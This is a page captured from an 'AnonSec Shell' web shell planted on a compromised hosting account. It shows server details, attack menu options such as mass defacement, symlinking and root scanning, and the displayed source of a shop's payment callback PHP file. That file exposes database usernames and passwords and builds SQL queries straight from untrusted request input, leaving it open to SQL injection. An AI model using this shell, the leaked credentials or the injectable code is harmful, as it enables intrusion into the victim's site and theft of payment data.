AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/taladonnuch.com/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/taladonnuch.com/payment/payment_callback.php
<?php
session_start();
$serverName = "localhost";

/*
$userName = "onnud20_ecgus";
$userPassword = "EzYK4U2J";
$dbName = "onnud20_ecgbd";*/

/*
$userName = "root";
$userPassword = "";
$dbName = "talad_db";
*/
$userName = "cp648411_taladus";
$userPassword = "45!HomhuaN";
$dbName = "cp648411_taladdb";




$objCon = mysqli_connect($serverName,$userName,$userPassword,$dbName);
$objCon -> set_charset("utf8");

$_POSTX = json_decode(file_get_contents('php://input'), true);
//print_r($_POST);

$postData1 = array(
  "TransactionID"=>@$_POSTX['Header']['TransactionID'],
  "TransactionDateTime"=>@$_POSTX['Header']['TransactionDateTime'],
  "ServiceName"=>@$_POSTX['Header']['ServiceName'],
  "SystemCode"=>@$_POSTX['Header']['SystemCode'],
  "ChannelID"=>@$_POSTX['Header']['ChannelID']
);
$postData2 = array(
		"referenceNo1"=>@$_POSTX['body']['referenceInfo']['referenceNo1'],
		"referenceNo2"=>@$_POSTX['body']['referenceInfo']['referenceNo2'],
		"referenceNo3"=>@$_POSTX['body']['referenceInfo']['referenceNo3'],
		"referenceNo4"=>@$_POSTX['body']['referenceInfo']['referenceNo4'],
);
$postData3 = array(
		"paymentType"=>@$_POSTX['body']['paymentInfo']['paymentType'],
		"paymentDate"=>@$_POSTX['body']['paymentInfo']['paymentDate'],
		"paymentAmount"=>@$_POSTX['body']['paymentInfo']['paymentAmount'],
		"customerName"=>@$_POSTX['body']['paymentInfo']['customerName'],
);
$postData4 = array(
  "accountNumber"=> @$_POSTX['body']['companyAccountInfo']['accountNumber'],
  "accountBankCode"=> @$_POSTX['body']['companyAccountInfo']['accountBankCode'],
  "accountBranchCode"=>@$_POSTX['body']['companyAccountInfo']['accountBranchCode']
);
$postData = array(
	 "Header"=>$postData1,
	 "body"=> [
     "referenceInfo"=>$postData2,
     "paymentInfo"  =>$postData3,
     "companyAccountInfo"=>$postData4
     ]
);
//echo json_encode($postData);
if(@$_POSTX){
  $strSQL = "SELECT * FROM `payment` WHERE `BillPayment_Reference1` ='".$postData['body']['referenceInfo']['referenceNo1']."' AND `BillPayment_Reference2` ='".$postData['body']['referenceInfo']['referenceNo2']."'";
  $objQuery = mysqli_query($objCon,$strSQL) or die( mysqli_error($objCon));
  $objResult = mysqli_fetch_array($objQuery,MYSQLI_ASSOC);
  if(@$objResult){
    $response = array(
      "Header" => [
        "ChannelID"=>$postData['Header']['ChannelID'],
        "ServiceName"=>$postData['Header']['ServiceName'],
        "SystemCode"=>$postData['Header']['SystemCode'],
        "TransactionDateTime"=>$postData['Header']['TransactionDateTime'],
        "TransactionID"=>$postData['Header']['TransactionID']
        ],
        "ResponseStatus"=> [
          "OriginalResponseCode"=>null,
          "OriginalResponseMessage"=>null,
          "ResponseCode"=>"BGW-I-0000",
          "ResponseMessage"=>"Biller acknowledged"
          ]
        );
        echo json_encode($response);
  }else{
    $response = array(
      "Header" => [
        "ChannelID"=>$postData['Header']['ChannelID'],
        "ServiceName"=>$postData['Header']['ServiceName'],
        "SystemCode"=>$postData['Header']['SystemCode'],
        "TransactionDateTime"=>$postData['Header']['TransactionDateTime'],
        "TransactionID"=>$postData['Header']['TransactionID']
      ],
      "ResponseStatus"=> [
        "OriginalResponseCode"=>null,
        "OriginalResponseMessage"=>null,
        "ResponseCode"=>"BGW-I-1009",
        "ResponseMessage"=>"Reference Not Found/Reference expired"
        ]
      );
    echo json_encode($response);
  }
  date_default_timezone_set("Asia/Bangkok");
  $date = date("Y-m-d H:i:s");

  $strSQLw2 = "SELECT * FROM `payment_notification` WHERE `id-order` = '".@$_SESSION['order'][0]['id_order']."'";
  $objQueryw2 = mysqli_query($objCon,$strSQLw2);
  $objResultw2 = mysqli_fetch_array($objQueryw2,MYSQLI_ASSOC);

  $res = json_encode(@$_POSTX).json_encode($response);
  if(!@$objResultw2['id-order']){
     $strSQLorder3 = "INSERT INTO `payment_notification`(`id`,`id-order`,`TransactionID`, `TransactionDateTime`, `SystemCode`, `ServiceName`, `ChannelID`, `OriginalResponseCode`, `OriginalResponseMessage`, `ResponseCode`, `ResponseMessage`, `referenceNo1`, `referenceNo2`, `referenceNo3`, `dt_update`, `json`)
     VALUES (NULL,'','".$postData['Header']['TransactionID']."','".@$response['Header']['TransactionDateTime']."','".@$response['Header']['SystemCode']."','".@$response['Header']['ServiceName']."','".@$response['Header']['ChannelID']."',
       '".@$response['ResponseStatus']['OriginalResponseCode']."','".@$response['ResponseStatus']['OriginalResponseMessage']."','".@$response['ResponseStatus']['ResponseCode']."','".@$response['ResponseStatus']['ResponseMessage']."','".$postData['body']['referenceInfo']['referenceNo1']."',
       '".$postData['body']['referenceInfo']['referenceNo2']."','".$postData['body']['referenceInfo']['referenceNo3']."','".$date."', '".@$res."')";
    $objQueryorder3 = mysqli_query($objCon,$strSQLorder3);

  }
}else{
  $response = array(
    "Header" => [
      "ChannelID"=>@$postData['Header']['ChannelID'],
      "ServiceName"=>@$postData['Header']['ServiceName'],
      "SystemCode"=>@$postData['Header']['SystemCode'],
      "TransactionDateTime"=>@$postData['Header']['TransactionDateTime'],
      "TransactionID"=>@$postData['Header']['TransactionID']
    ],
    "ResponseStatus"=> [
      "OriginalResponseCode"=>null,
      "OriginalResponseMessage"=>null,
      "ResponseCode"=>"BGW-I-1001",
      "ResponseMessage"=>"Wrong message format"
      ]
    );
  echo json_encode($response);
}
?>

Anon7 - 2022
AnonSec Team